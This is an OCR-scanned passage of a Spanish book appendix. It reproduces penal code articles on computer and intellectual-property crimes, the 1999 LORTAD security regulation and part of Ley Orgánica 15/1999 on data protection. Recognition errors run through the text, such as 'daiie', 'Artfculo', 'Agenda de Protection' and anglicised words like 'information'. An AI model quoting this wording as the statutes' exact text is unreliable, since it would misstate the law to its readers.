5. Que arruinen al perjudicado o se le coloque en grave situation economica. 
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2 . La misma pena se impondra al que por cualquier medio destruya, altere, inutilice o de cualquier 
otro modo daiie los datos, programas o documentos electronicos ajenos contenidos en redes, soportes 
o sistemas informaticos. 


CAPITULO XI 

De los delitos relativos a la propiedad intelectual e industrial, al mercado y a los consumidores 
Section 1“.- DE LOS DELITOS RELATIVOS A LA PROPIEDAD INTELECTUAL. 

Artfculo 270 

Sera castigado con la pena de prision de seis meses a dos anos o de multa de seis a veinticuatro 
meses quien, con animo de lucro y en perjuicio de tercero, reproduzca, plagie, distribuya o comuni- 
que piiblicamente, en todo o en parte, una obra literaria, artistica o cientffica, o su transformation, 
interpretation o ejecucion artistica fijada en cualquier tipo de soporte o comunicada a traves de 
cualquier medio, sin la autorizacion de los titulares de los correspondientes clerechos de propiedad 
intelectual o de sus cesionarios. 

La misma pena se impondra a quien intencionadamente importe, exporte o almacene ejemplares 
de dichas obras o producciones o ejecuciones sin la referida autorizacion. 

Sera castigada tambien con la misma pena la fabrication, puesta en circulation y tenencia de 
cualquier medio especificamente destinada a facilitar la supresion no autorizada o la neutralization 
de cualquier dispositivo tecnico que se haya utilizado para proteger programas de ordenador. 

Artfculo 278 

1. El que, para clescubrir un secreto de empresa se apoderare por cualquier medio de datos, 
documentos escritos o electronicos, soportes informaticos u otros objetos que se refieran al mismo, 
o empleare alguno de los medios o instrumentos seiialados en el apartado 1 del artfculo 197, sera 
castigado con la pena de prision de dos a cuatro anos y multa de doce a veinticuatro meses. 

2. Se impondra la pena de prision de tres a cinco anos y multa de doce a veinticuatro meses si 
se difundieren, revelaren o cedieren a terceros los secretos descubiertos. 

3 . Lo dispuesto en el presente artfculo se entendera sin perjuicio de las penas que pudieran 
corresponder por el apoderamiento o destruction de los soportes informaticos. 

CAPITULO III 

Disposition general 


Artfculo 400 

La fabrication o tenencia de utiles, materiales, instrumentos, sustancias, maquinas, programas 
de ordenador o aparatos, especificamente clestinados a la comision de los delitos descritos en los 
capftulos anteriores, se castigaran con la pena senalada en cada paso para los autores. 

Artfculo 536 

La autoridad, funcionario publico o agente de estos que, mediando causa por delito, interceptare 
las telecomunicaciones o utilizare artificios tecnicos de escuchas, transmision, grabacion o repro- 
duction del sonido, de la imagen o de cualquier otra serial de comunicacion, con violation de las 
garantfas constitucionales o legales, incurrira en la pena de inhabilitacion especial para empleo o 
cargo publico de dos a seis anos. 

Si divulgare o revelare la information obtenida, se impondran las penas de inhabilitacion especial, 
en su mitad superior y, ademas la de multa de seis a dieciocho meses. 
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B.2 Reglamento de Seguridad de la LORTAD 

CAPITULO I 

Disposiciones Generates 


Articulo 1. Ambito de aplicacion y fines. 

El presente Reglamento tiene por objeto establecer las medidas de indole tecnica y organizativas 
necesarias para garantizar la seguridad que deben reunir los ficheros automatizados, los centros de 
tratamiento, locales, equipos, sistemas, programas y las personas que intervengan en el tratamiento 
automatizado de los datos de caracter personal sujetos al regimen de la Ley Organica 5/1992, de 
29 de octubre, de Regulation del Tratamiento Automatizado de los Datos de caracter personal. 

Articulo 2. Definiciones. 

A efectos de este Reglamento, se entendera por: 

1. - Sistema de information: Conjunto de ficheros automatizados, programas, soportes y equi- 

pos empleados para el almacenamiento y tratamiento de datos de caracter personal. 

2. - Usuario: Sujeto o proceso autorizado para acceder a datos o recursos. 

3. - Recurso: Cualquier parte componente de un sistema de informacion. 

4. - Accesos autorizados: Autorizaciones concedidas a un usuario para la utilization de los 

di versos recursos. 

5. - Identification: Procedimiento de reconocimiento de la identidad de un usuario. 

6. - Autenticacion: Procedimiento de comprobacion de la identidad de un usuario. 

7. - Control de acceso: Mecanismo que en funcion a la identification ya autenticada permite 

acceder a datos o recursos. 

8. - Contrasena: Informacion confidential, frecuentemente constituida por una cadena de carac- 

teres, que puede ser usada en la autenticacion de un usuario. 

9. - Incidencia: Cualquier anomalfa que afecte o pudiera afectar a la seguridad de los datos. 

10. - Soporte: Objeto ffsico susceptible de ser tratado en un sistema de informacion sobre el cual 

se pueden grabar o recuperar datos. 

11. - Responsable de seguridad: Persona o personas de la organization a las que el responsa- 

ble del fichero ha asignado formalmente la funcion de coordinar y controlar las medidas de 
seguridad aplicables. 

12. - Copia de respaldo: Copia de los datos de un fichero automatizado en un soporte que 

posibilite su recuperation. 

Articulo 3. Niveles de seguridad. 

1. Las medidas de seguridad exigibles se clasifican en tres niveles: basico, medio y alto. 

2. Dichos niveles se establecen atendiendo a la naturaleza de la informacion tratada, en relation 
con la mayor o menor necesidad de garantizar la confidencialidad y la integridad de la informacion. 

Articulo 4. Aplicacion de los niveles de seguridad. 

11 Reglamento de Medidas de Seguridad de los ficheros automatizados que contengan datos de caracter personal, 
aprobado por el Real Decreto 994/1999, de 11 de junio. 



286 APENDICE B. NORMATIVA 

1. Todos los ficheros que contengan datos de caracter personal deberan adoptar las medidas de 
seguridad calificadas como de nivel basico. 

2. Los ficheros que contengan datos relativos a la comision de infracciones administrativas o 
penales, Hacienda Piiblica, servicios financieros y aquellos ficheros cuyo funcionamiento se rija por 
el articulo 28 de la Ley Organica 5/1992, deberan reunir, ademas de las medidas de nivel basico, 
las calificadas como de nivel medio. 

3 . Los ficheros que contengan datos de ideologia, religion, creencias, origen racial, salud o vida 
sexual, asi como los que contengan datos recabados para fines policiales sin consentimiento de las 
personas afectadas deberan reunir, ademas de las medidas de nivel basico y medio, las calificadas 
como de nivel alto. 

4 . Cuando los ficheros contengan un conjunto de datos de caracter personal suficientes que per- 
mitan obtener una evaluation de la personalidad del individuo deberan garantizar las medidas de 
nivel medio establecidas en los articulos 17, 18, 19 y 20. 

5 . Cada uno de los niveles descritos anteriormente tienen la condition de minimos exigibles, sin 
perjuicio de las disposiciones legales o reglament arias especificas vigentes. 

Articulo 5. Acceso a datos a traves de redes de comunicaciones. 

Las medidas de seguridad exigibles a los accesos a datos de caracter personal a traves de redes 
de comunicaciones deberan garantizar un nivel de seguridad equivalente al correspondiente a los 
accesos en modo local. 

Articulo 6. Regimen de trabajo fuera de los locales de ubicacion del fichero. 

La ejecucion de tratamiento de datos de caracter personal fuera de los locales de la ubicacion del 
fichero debera ser autorizada expresamente por el responsable del fichero y, en todo caso, debera 
garantizarse el nivel de seguridad correspondiente al tipo de fichero tratado. 

Articulo 7. Ficheros temporales. 

1 . Los ficheros temporales deberan cumplir el nivel de seguridad que les corresponda con arreglo 
a los criterios establecidos en el presente Reglamento. 

2 . Todo fichero temporal sera borrado una vez que haya dejado de ser necesario para los fines 
que motivaron su creation. 

CAPITULO II 

Medidas de seguridad de nivel basico 
Articulo 8. Documento de seguridad. 

1. El responsable del fichero elaborara e implantara la normativa de seguridad, mediante un 
documento de obligado cumplimiento para el personal con acceso a los datos automatizados de 
caracter personal y a los sistemas de information. 

2 . El documento debera contener, como niinimo, los siguientes aspectos: 

(a) Ambito de aplicacion del documento con especificacion detallada de los recursos protegidos. 

(b) Medidas, normas, procedimientos, reglas y estandares encaminados a garantizar el nivel de 
seguridad exigido en este Reglamento. 

(c) Funciones y obligaciones del personal. 

(d) Estructura de los ficheros con datos de caracter personal y description de los sistemas de 
information que los tratan. 
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(e) Procedimiento de notification, gestion y respuesta ante las incidencias. 

(f) Los procedimientos de realization de copias de respaldo y de recuperation de los datos. 

3. El documento debera mantenerse en todo momento actualizado y debera ser revisado siempre 
que se produzcan cambios en el sistema de information o en la organization. 

4 El contenido del documento debera adecuarse, en todo momento, a las disposiciones vigentes 
en materia de seguridad de los datos de caracter personal. 

Articulo 9. Funciones y obligaciones del personal. 

1. Las funciones y obligaciones de cada una de las personas con acceso a los datos de caracter 
personal y a los sistemas de information estaran claramente definidas y documentadas, de acuerdo 
con lo previsto en el articulo 8.2.(c). 

2. El responsable del fichero adoptara las medidas necesarias para que el personal conozca las 
normas de seguridad que afecten al desarrollo de sus funciones asi como las consecuencias en que 
pudiera incurrir en caso de incumplimiento. 

Articulo 10. Registro de incidencias. 

El procedimiento de notification y gestion de incidencias contendra necesariamente un registro 
en el que se haga constar el tipo de incidencia, el momento en que se ha producido, la persona que 
realiza la notification, a quien se le comunica y los efectos que se hubieran derivado de la misma. 

Articulo 11. Identification y autenticacion. 

1 . El responsable del fichero se encargara de que exista una relation actualizada de usuarios que 
tengan acceso al sistema de information y de establecer procedimientos de identification y autenti- 
cacion para dicho acceso. 

2. Cuando el mecanismo de autenticacion se base en la existencia de contrasenas existira un 
procedimiento de asignacion, distribution y almacenamiento que garantice su confidencialidad e 
integridad. 

3. Las contrasenas se cambiaran con la periodicidad que se determine en el documento de 
seguridad y mientras esten vigentes se almacenaran de forma ininteligible. 

Articulo 12. Control de acceso. 

1. Los usuarios tendran acceso autorizado unicamente a aquellos datos y recursos que precisen 
para el desarrollo de sus funciones. 

2. El responsable del fichero establecera mecanismos para evitar que un usuario pueda acceder a 
datos o recursos con derechos distintos de los autorizados. 

3. La relation de usuarios a la que se refiere el articulo 11.1 de este Reglamento contendra los 
derechos de acceso autorizados para cada uno de ellos. 

4. Exclusivamente el personal autorizado para ello en el documento de seguridad podra conceder, 
alterar o anular el acceso autorizado sobre los datos y recursos, conforme a los criterios establecidos 
por el responsable del fichero. 

Articulo 13. Gestion de soportes. 

1. Los soportes informaticos que contengan datos de caracter personal deberan permitir identi- 
ficar el tipo de information que contienen, ser inventariados y almacenarse en un lugar con acceso 
restringido al personal autorizado para ello en el documento de seguridad. 
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2. La salida de soportes informaticos que contengan datos de caracter personal, fuera de los locales 
en que este ubicado el fichero, unicamente podra ser autorizada por el responsable del fichero. 

Articulo 14. Copias de respaldo y recuperation 

1. El responsable de fichero se encargara de verificar la definition y correcta aplicacion de los 
procedimientos de realization de copias de respaldo y de recuperation de los datos. 

2. Los procedimientos establecidos para la realization de copias de respaldo y para la recuperation 
de los datos debera garantizar su reconstruction en el estado en que se encontraban al tiempo de 
producirse la perdida o destruction. 

3. Deberan realizarse copias de respaldo, al menos semanalmente, salvo que en dicho periodo no 
se hubiera producido ninguna actualization de los datos. 

CAPITULO III 

Medidas de seguridad de nivcl medio 
Articulo 15. Documento de seguridad. 

El documento de seguridad debera contener, ademas de lo dispuesto en el articulo 8 del presente 
Reglamento, la identification del responsable o responsables de seguridad, los controles periodicos 
que se deban realizar para verificar el cumplimiento de lo dispuesto en el propio documento y las 
medidas que sea necesario adoptar cuando un soporte vaya a ser desechado o reutilizado. 

Articulo 16. Responsable de seguridad. 

El responsable del fichero designara uno o varios responsables de seguridad encargados de coordi- 
nar y controlar las medidas definidas en el documento de seguridad. En ningun caso esta designation 
supone una delegation de la responsabilidad que corresponde al responsable del fichero de acuerdo 
con este Reglamento. 

Articulo 17. Auditorfa. 

1. Los sistemas de information e instalaciones de tratamiento de datos se someteran a una 
auditorfa interna o externa, que verifique el cumplimiento del presente Reglamento, de los procedi- 
mientos e instrucciones vigentes en materia de seguridad de datos, al menos, cada dos anos. 

2. El informe de auditorfa debera dictaminar sobre la adecuacion de las medidas y controles al 
presente Reglamento, identificar sus deficiencias y proponer las medidas correctoras o complemen- 
tarias necesarias. Debera, igualmente, incluir los datos, hechos y observaciones en que se basen los 
dictamenes alcanzados y recomendaciones propuestas. 

3. Los informes de auditorfa seran analizados por el responsable de seguridad competente, que 
elevara las conclusiones al responsable del fichero para que adopte las medidas correctoras adecuadas 
y quedaran a disposition de la Agencia de Protection de Datos. 

Articulo 18. Identification y autenticacion. 

1. El responsable del fichero establecera un mecanismo que permita la identification de forma 
inequfvoca y personalizado de todo aquel usuario que intente acceder al sistema de information y 
la verification de que esta autorizado. 

2. Se limitara la posibilidad de intentar reiteradamente el acceso no autorizado al sistema de 
information. 

Articulo 19. Control de acceso fisico. 

Exclusivamente el personal autorizado en el documento de seguridad podra tener acceso a los 
locales clonde se encuentren los sistemas de information con datos de caracter personal. 

Articulo 20. Gestion de soportes. 
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1. Debera establecerse un sistema de registro de entrada de soportes informaticos que permita, 
directa o indirectamente, conocer el tipo de soporte, la fecha y hora, el emisor, el numero de sopor- 
tes, el tipo de informacion que contienen, la forma de envio y la persona responsable de la reception 
que debera estar debidamente autorizada. 

2. Igualmente, se clispondra de un sistema de registro de salida de soportes informaticos que 
permita, directa o indirectamente, conocer el tipo de soporte, la fecha v hora, el clestinatario, el 
numero de soportes, el tipo de informacion que contienen, la forma de envio y la persona responsa- 
ble de la entrega que debera estar debidamente autorizada. 

3. Cuando un soporte vaya a ser desechado o reutilizado, se adoptaran las medidas necesarias 
para impedir cualquier recuperation posterior de la informacion almacenada en el, previamente a 
que se proceda a su baja en el inventario. 

4. Cuando los soportes vayan a salir fuera de los locales en que encuentren ubicados los ficheros 
como consecuencia de operaciones de mantenimiento, se adoptaran las medidas necesarias para 
impedir cualquier recuperation indebida de la informacion almacenada en ellos. 

Articulo 21. Registro de incidencias. 

1. En el registro regulado en el articulo 10 deberan consignarse, ademas los procedimientos reali- 
zados de recuperacion de los datos, indicando la persona que ejecuto el proceso, los datos restaurados 
y, en su caso, que datos ha sido necesario grabar manualmente en el proceso de recuperacion. 

2. Sera necesaria la autorizacion por escrito del responsable del fichero para la ejecucion de los 
procedimientos de recuperacion de los datos. 

Articulo 22. Pruebas con datos reales. 

Las pruebas anteriores a la implantation o modification de los sistemas de informacion que traten 
ficheros con datos de caracter personal no se realizaran con datos reales, salvo que se asegure el 
nivel de seguridad correspondiente al tipo de fichero tratado. 

CAPITULO IV 

Medidas de seguridad de nivel alto 
Articulo 23. Distribution de soportes. 

La distribution de los soportes que contengan datos de caracter personal se realizara cifrando 
dichos datos o bien utilizando cualquier otro mecanismo que garantice que dicha informacion no 
sea inteligible ni manipulada durante su transporte. 

Articulo 24. Registro de accesos. 

1. De cada acceso se guardaran, como minimo, la identification del usuario, la fecha y hora en 
que se realizo, el fichero accedido, el tipo de acceso y si ha sido autorizado o denegado. 

2. En el caso de que el acceso haya sido autorizado, sera preciso guardar la informacion que 
permita identificar el registro accedido. 

3. Los mecanismos que permiten el registro de los datos detallados en los parrafos anteriores 
estaran bajo el control directo del responsable de seguridad sin que se cleba permitir, en ningun 
caso, la desactivacion de los mismos. 

4. El periodo minimo de conservation de los datos registrados sera de dos anos. 

5. El responsable de seguridad competente se encargara de revisar periodicamente la informacion 
de control registrada y elaborara un informe de las revisiones realizadas y los problemas detectados 
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al menos una vez al mes. 

Articulo 25. Copias de respaldo y recuperation. 

Debera conservarse una copia de respaldo y de los procedimientos de recuperation de los datos en 
un lugar diferente de aquel en que se encuentren los equipos informaticos que los tratan cumpliendo 
en todo caso, las medidas de seguridad exigidas en este Reglamento. 

Articulo 26. Telecomunicaciones. 

La transmision de datos de caracter personal a traves de redes de telecomunicaciones se realizara 
cifrando dichos datos o bien utilizando cualquier otro mecanismo que garantice que la information 
no sea inteligible ni manipulada por terceros. 

CAPITULO V 

Infracciones y sanciones 
Articulo 27. Infracciones y sanciones. 

1. El incumplimiento de las medidas de seguridad clescritas en el presente Reglamento sera san- 
cionado de acuerdo con lo establecido en los artfculos 43 y 44 de la Ley Organica 5/1992, cuando 
se trate de ficheros de titularidad privada. 

El procedimiento a seguir para la imposition de la sancion a la que se refiere el parrafo anterior sera 
el establecido en el Real Decreto 1332/1994, de 20 de junio, por el que se desarrollan determinados 
aspectos de la Ley Organica 5/1992, de 29 de octubre, de Regulation del Tratamiento Automati- 
zado de los Datos de Caracter Personal. 

2. Cuando se trate de ficheros de los que sean responsables las Administraciones Piiblicas se 
estara, en cuanto al procedimiento y a las sanciones, a lo dispuesto en el articulo 45 de la Ley 
Organica 5/1992. 

Articulo 28. Responsables. 

Los responsables del fichero, sujetos al regimen sancionador de la Ley Organica 5/1992, cleberan 
adoptar las medidas de indole tecnica y organizativas necesarias que garanticen la seguridad de los 
datos de caracter personal en los terminos establecidos en el presente Reglamento. 

CAPITULO VI 

Competencias del Director de la Agenda de Protection de Datos 

Articulo 29. Competencias del Director de la Agenda de Protection de Datos. 

El Director de la Agenda de Protection de Datos podra, de conformidad con lo establecido en el 
articulo 36 de la Ley Organica 5/1992: 

1. - Dictar, en su caso y sin perjuicio de las competencias de otros organos, las instrucciones 

precisas para adecuar los tratamientos automatizados a los principios de la Ley Organica 
5/1992. 

2. - Ordenar la cesacion de los tratamientos de datos de caracter personal y la cancelation de los 

ficheros cuando no se cumplan las medidas de seguridad previstas en el presente Reglamento. 

Disposition transitoria unica. Plazos de implantation de las medidas. 

En el caso de sistemas de information que se encuentren en funcionamiento a la entrada en vigor 
del presente Reglamento, las medidas de seguridad de nivel basico previstas en el presente Regla- 
mento deberan implantarse en el plazo de seis meses clesde su entrada en vigor, las de nivel medio 
en el plazo de un aho y las de nivel alto en el plazo de clos ahos. 

Cuando los sistemas de information que se encuentren en funcionamiento no permitan tecnologicamente 
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la implantacion de alguna de las medidas de seguridad previstas en el presente Reglamento, la ade- 
cuacion de dichos sistemas y la implantacion de las medidas de seguridad deberan realizarse en el 
plazo maximo de tres anos a contar desde la entrada en vigor del presente Reglamento. 
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TITULO I 

Disposiciones generales 


Articulo 1. Objeto. 

La presente Ley Organica tiene por objeto garantizar y proteger, en lo que concierne al tratamiento 
de los datos personates, las libertades publicas y los derechos fundamentales de las personas fisicas, 
y especialmente de su honor e intimidad personal y familiar. 

Articulo 2. Ambito de aplicacion. 

1. La presente Ley Organica sera de aplicacion a los datos de caracter personal registrados en 
soporte fisico que los haga susceptibles de tratamiento, y a toda modalidad de uso posterior de 
estos datos por los sectores publico y privado. 

Se regira por la presente Ley Organica todo tratamiento de datos de caracter personal: 

(a) Cuando el tratamiento sea efectuado en territorio espahol en el marco de las actividades de 
un establecimiento del responsable del tratamiento. 

(b) Cuando al responsable del tratamiento no establecido en territorio espahol, le sea de aplicacion 
la legislation espanola en aplicacion de normas de Derecho International publico. 

(c) Cuando el responsable del tratamiento no este establecido en territorio de la Union Europea y 
utilice en el tratamiento de datos medios situados en territorio espahol, salvo que tales medios 
se utilicen unicamente con fines de transito. 

2. El regimen de protection de los datos de caracter personal que se establece en la presente Ley 
Organica no sera de aplicacion: 

(a) A los ficheros mantenidos por personas fisicas en el ejercicio de actividades exclusivamente 
personates o domesticas. 

(b) A los ficheros sometidos a la normativa sobre protection de materias clasificadas. 

(c) A los ficheros establecidos para la investigation del terrorismo y de formas graves de delin- 
cuencia organizada. No obstante, en estos supuestos el responsable del fichero comunicara 
previamente la existencia del mismo, sus caracteristicas generales y su finalidad a la Agencia 
de Protection de Datos. 

3. Se regiran por sus disposiciones especificas, y por lo especialmente previsto, en su caso, por 
esta Ley Organica los siguientes tratamientos de datos personales: 

(a) Los ficheros regulados por la legislation de regimen electoral. 

(b) Los que sirvan a fines exclusivamente estadisticos, y esten amparados por la legislation estatal 
o autonomica sobre la funcion estadistica publica. 

(c) Los que tengan por objeto el almacenamiento de los datos contenidos en los informes per- 
sonales de calificacion a que se refiere la legislation del Regimen del personal de las Fuerzas 
Armadas. 

(d) Los derivados del Registro Civil y del Registro Central de penados y rebeldes. 

(e) Los procedentes de imageries y sonidos obtenidos mediante la utilization de videocamaras por 
las Fuerzas y Cuerpos de Seguridad, de conformidad con la legislation sobre la materia. 


0 Ley Organica 15/1999, de 13 de diciembre, de Proteccion de Datos de Caracter Personal. 
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Articulo 3. Definiciones. 

A los efectos de la presente Ley Organica se entendera por: 

(a) Datos de caracter personal: Cualquier information concerniente a personas ffsicas identificadas 
o identificables. 

(b) Fichero: Todo conjunto organizado de datos de caracter personal, cualquiera que fuere la 
forma o modalidad de su creation, almacenamiento, organization y acceso. 

(c) Tratamiento de datos: Operaciones y procedimientos tecnicos de caracter automatizado o 
no, que permitan la recogida, grabacion, conservation, elaboration, modification, bloqueo 
y cancelation, asf como las cesiones de datos que resulten de comunicaciones, consultas, 
interconexiones y transferencias. 

(d) Responsable del fichero o tratamiento: Persona ffsica o juridica, de naturaleza publica o pri- 
vada, u organo administrative, que decida sobre la finalidad, contenido y uso del tratamiento. 

(e) Afectado o interesado: Persona ffsica titular de los datos que sean objeto del tratamiento a 
que se refiere el apartado c) del presente articulo. 

(f) Procedimiento de disociacion: Todo tratamiento de datos personales de modo que la infor- 
mation que se obtenga no pueda asociarse a persona identificada o identificable. 

(g) Encargado del tratamiento: La persona ffsica o juridica, autoridad publica, servicio o cualquier 
otro organismo que, solo o conjuntamente con otros, trate datos personales por cuenta del 
responsable del tratamiento. 

(h) Consentimiento del interesado: Toda manifestation de voluntad, libre, inequfvoca, especffica 
e informada, mediante la que el interesado consienta el tratamiento de datos personales que 
le conciernen. 

(i) Cesion o comunicacion de datos: Toda revelation de datos realizada a una persona distinta 
del interesado. 

(j) Fuentes accesibles al publico: Aquellos ficheros cuya consulta puede ser realizada por cualquier 
persona, no impedida por una norma limitativa, o sin mas exigencia que, en su caso, el abono 
de una contraprestacion. Tienen la consideration de fuentes de acceso publico, exclusivamente, 
el censo promocional, los repertories telefonicos en los terminos previstos por su normativa 
especffica y las list as de personas pertenecientes a grupos de profesionales que contengan 
unicamente los datos de nombre, tftulo, profesion, actividad, grado academico, direction e 
indication de su pertenencia al grupo. Asimismo, tienen el caracter de fuentes de acceso 
publico, los Diarios y Boletines oficiales y los medios de comunicacion. 

TITULO II 

Principios de la protection de datos 
Articulo 4. Calidad de los datos. 

1. Los datos de caracter personal solo se podran recoger para su tratamiento, asf como someterlos 
a dicho tratamiento, cuando sean adecuados, pertinentes y no excesivos en relation con el ambito 
y las finalidades determinadas, explfcitas y legftimas para las que se hayan obtenido. 

2. Los datos de caracter personal objeto de tratamiento no podran usarse para finalidades incom- 
patibles con aquellas para las que los datos hubieran sido recogidos. No se considerara incompatible 
el tratamiento posterior de estos con fines historicos, estadfsticos o cientfficos. 

3. Los datos de caracter personal seran exactos y puestos al dfa de forma que respondan con 
veracidad a la situation actual del afectado. 



B.3. LEY ORGANICA DE PROTECCION DE DATOS 


295 


4. Si los datos de caracter personal registrados resultaran ser inexactos, en todo o en parte, o 
incompletos, seran cancelados y sustituidos de oficio por los correspondientes datos rectificados o 
completados, sin perjuicio de las facultades que a los afectados reconoce el articulo 16. 

5. Los datos de caracter personal seran cancelados cuando hayan dejado de ser necesarios o 
pertinentes para la finalidad para la cual hubieran sido recabados o registrados. 

No seran conservados en forma que permita la identification del interesado durante un periodo 
superior al necesario para los fines en base a los cuales hubieran sido recabados o registrados. 
Reglamentariamente se determinara el procedimiento por el que, por exception, atendidos los valores 
historicos, estadfsticos o cientificos de acuerclo con la legislation especifica, se clecida el manteni- 
miento integro de determinados datos. 

6. Los datos de caracter personal seran almacenados de forma que permitan el ejercicio del de- 
recho de acceso, salvo que sean legalmente cancelados. 

7. Se prohibe la recogida de datos por medios fraudulentos, desleales o ilfcitos. 

Articulo 5. Derecho de informacion en la recogida de datos. 

1. Los interesados a los que se soliciten datos personales deberan ser previamente informados de 
modo expreso, preciso e inequfvoco: 

(a) De la existencia de un fichero o tratamiento de datos de caracter personal, de la finalidad de 
la recogida de estos y de los destinatarios de la informacion. 

(b) Del caracter obligatorio o facultativo de su respuesta a las preguntas que les sean planteadas. 

(c) De las consecuencias de la obtencion de los datos o de la negativa a suministrarlos. 

(d) De la posibilidad de ejercitar los derechos de acceso, rectification, cancelation y oposicion. 

(e) De la identidad y direction del responsable del tratamiento o, en su caso, de su representante. 

Cuando el responsable del tratamiento no este establecido en el territorio de la Union Europea 
y utilice en el tratamiento de datos medios situados en territorio espanol, debera designar, salvo 
que tales medios se utilicen con fines de transito, un representante en Espaha, sin perjuicio de las 
acciones que pudieran emprenderse contra el propio responsable del tratamiento. 

2. Cuando se utilicen cuestionarios u otros impresos para la recogida, figuraran en los mismos, 
en forma claramente legible, las advertencias a que se refiere el apartado anterior. 

3. No sera necesaria la informacion a que se refieren las letras b), c) y d) del apartado 1 si el 
contenido de ella se deduce claramente de la naturaleza de los datos personales que se solicitan o 
de las circunstancias en que se recaban. 

4. Cuando los datos de caracter personal no hayan sido recabados del interesado, este debera ser 
informado de forma expresa, precisa e inequivoca, por el responsable del fichero o su representante, 
dentro de los tres meses siguientes al momento del registro de los datos, salvo que ya hubiera sido 
informado con anterioridad, del contenido del tratamiento, de la procedencia de los datos, asi como 
de lo previsto en las letras a), cl) y e) del apartado 1 del presente articulo. 

5. No sera de aplicacion lo dispuesto en el apartado anterior cuando expresamente una Ley lo 
prevea, cuando el tratamiento tenga fines historicos, estadfsticos o cientificos, o cuando la informa- 
cion al interesado resulte imposible o exija esfuerzos desproporcionados, a criterio de la Agencia 
de Protection de Datos o del organismo autonomico equivalente, en consideration al numero de 
interesados, a la antigiiedad de los datos y a las posibles medidas compensatorias. 

Asimismo, tampoco regira lo dispuesto en el apartado anterior cuando los datos procedan de fuentes 
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accesibles al publico y se destinen a la actividad de publicidad o prospeccion comercial, en cuyo 
caso, en cada comunicacion que se dirija al interesado se le informara del origen de los datos y de 
la identidad del responsable del tratamiento asi como de los derechos que le asisten. 

Articulo 6. Consentimiento del afectado. 

1. El tratamiento de los datos de caracter personal requerira el consentimiento inequivoco del 
afectado, salvo que la Ley disponga otra cosa. 

2 . No sera preciso el consentimiento cuando los datos de caracter personal se recojan para el 
ejercicio de las funciones propias de las Administraciones Publicas en el ambito de sus competen- 
cias; cuando se refieran a las partes de un contrato o precontrato de una relacion negocial, laboral 
o administrativa y sean necesarios para su mantenimiento o cumplimiento; cuando el tratamiento 
de los datos tenga por finalidad proteger un interes vital del interesado en los terminos del articulo 
7, apartado 6 de la presente Ley, o cuando los datos figuren en fuentes accesibles al publico y su 
tratamiento sea necesario para la satisfaction del interes legitimo perseguido por el responsable del 
fichero o por el del tercero a quien se comuniquen los datos, siempre que no se vulneren los derechos 
y libertades fundamentales del interesado. 

3 . El consentimiento a que se refiere el articulo podra ser revocado cuando exista causa justificada 
para ello y no se le atribuyan efectos retroactivos. 

4 . En los casos en los que no sea necesario el consentimiento del afectado para el tratamiento de 
los datos de caracter personal, y siempre que una Ley no disponga lo contrario, este podra oponerse 
a su tratamiento cuando existan motivos fundados y legitimos relativos a una concreta situation 
personal. En tal supuesto, el responsable del fichero excluira del tratamiento los datos relativos al 
afectado. 

Articulo 7. Datos especialmente protegidos. 

1. De acuerdo con lo establecido en el apartado 2 del articulo 16 de la Constitution, nadie podra 
ser obligado a declarar sobre su ideologia, religion o creencias. 

Cuando en relacion con estos datos se proceda a recabar el consentimiento a que se refiere el apar- 
tado siguiente, se advertira al interesado acerca de su derecho a no prestarlo. 

2. Solo con el consentimiento expreso y por escrito del afectado podran ser objeto de tratamiento 
los datos de caracter personal que revelen la ideologia, afiliacion sindical, religion y creencias. Se 
exceptuan los ficheros mantenidos por los partidos politicos, sindicatos, iglesias, confesiones o comu- 
nidades religiosas y asociaciones, fundaciones y otras entidades sin animo de lucro, cuya finalidad 
sea politica, filosofica, religiosa o sindical, en cuanto a los datos relativos a sus asociados o miembros, 
sin perjuicio de que la cesion de dichos datos precisara siempre el previo consentimiento del afectado. 

3 . Los datos de caracter personal que hagan referencia al origen racial, a la salud y a la vida 
sexual solo podran ser recabados, tratados y cedidos cuando, por razones de interes general, asi lo 
disponga una Ley o el afectado consienta expresamente. 

4 . Quedan prohibidos los ficheros creados con la finalidad exclusiva de almacenar datos de caracter 
personal que revelen la ideologia, afiliacion sindical, religion, creencias, origen racial o etnico, o vida 
sexual. 

5 . Los datos de caracter personal relativos a la comision de infracciones penales o administrativas 
solo podran ser incluidos en ficheros de las Administraciones Publicas competentes en los supuestos 
previstos en las respectivas normas reguladoras. 

6. No obstante lo dispuesto en los apartados anteriores podran ser objeto de tratamiento los 
datos de caracter personal a que se refieren los apartados 2 y 3 de este articulo, cuando dicho 
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tratamiento resulte necesario para la prevention o para el diagnostico medicos, la prestation de 
asistencia sanitaria o tratamientos medicos o la gestion de servicios sanitarios, siempre que dicho 
tratamiento de datos se realice por un profesional sanitario sujeto al secreto profesional o por otra 
persona sujeta asimismo a una obligation equivalente de secreto. 

Tambien podran ser objeto de tratamiento los datos a que se refiere el parrafo anterior cuando el 
tratamiento sea necesario para salvaguardar el interes vital del afectado o de otra persona, en el 
supuesto de que el afectado este fisica o juridicamente incapacitado para dar su consentimiento. 

Articulo 8. Datos relativos a la salud. 

Sin perjuicio de lo que se dispone en el articulo 11 respecto de la cesion, las instituciones y 
los centros sanitarios publicos y privados y los profesionales correspondientes podran proceder al 
tratamiento de los datos de caracter personal relativos a la salud de las personas que a ellos acudan 
o hayan de ser tratados en los mismos, de acuerdo con lo dispuesto en la legislation estatal o 
autonomica sobre sanidad. 

Articulo 9. Seguridad de los datos. 

1. El responsable del fichero, y, en su caso, el encargado del tratamiento, cleberan adoptar las 
medidas de indole tecnica y organizativas necesarias que garanticen la seguridad de los datos de 
caracter personal y eviten su alteration, perdida, tratamiento o acceso no autorizado, habida cuen- 
ta del estado de la tecnologia, la naturaleza de los datos almacenados y los riesgos a que estan 
expuestos, ya provengan de la action humana o del medio fisico o natural. 

2. No se registraran datos de caracter personal en ficheros que no reunan las condiciones que se 
determinen por via reglamentaria con respecto a su integridad y seguridad y a las de los centros de 
tratamiento, locales, equipos, sistemas y programas. 

3. Reglamentariamente se estableceran los requisitos y condiciones que deban reunir los ficheros 
y las personas que intervengan en el tratamiento de los datos a que se refiere el articulo 7 de esta 
Ley. 

Articulo 10. Deber de secreto. 

El responsable del fichero y quienes intervengan en cualquier fase del tratamiento de los datos 
de caracter personal estan obligados al secreto profesional respecto de los mismos y al deber de 
guardarlos, obligaciones que subsistiran aun despues de finalizar sus relaciones con el titular del 
fichero o, en su caso, con el responsable del mismo. 

Articulo 11. Comunicacion de datos. 

1. Los datos de caracter personal objeto del tratamiento solo podran ser comunicados a un terce- 
ro para el cumplimiento de fines directamente relacionados con las funciones legitimas del cedente 
y del cesionario con el previo consentimiento del interesado. 

2. El consentimiento exigido en el apartado anterior no sera preciso: 

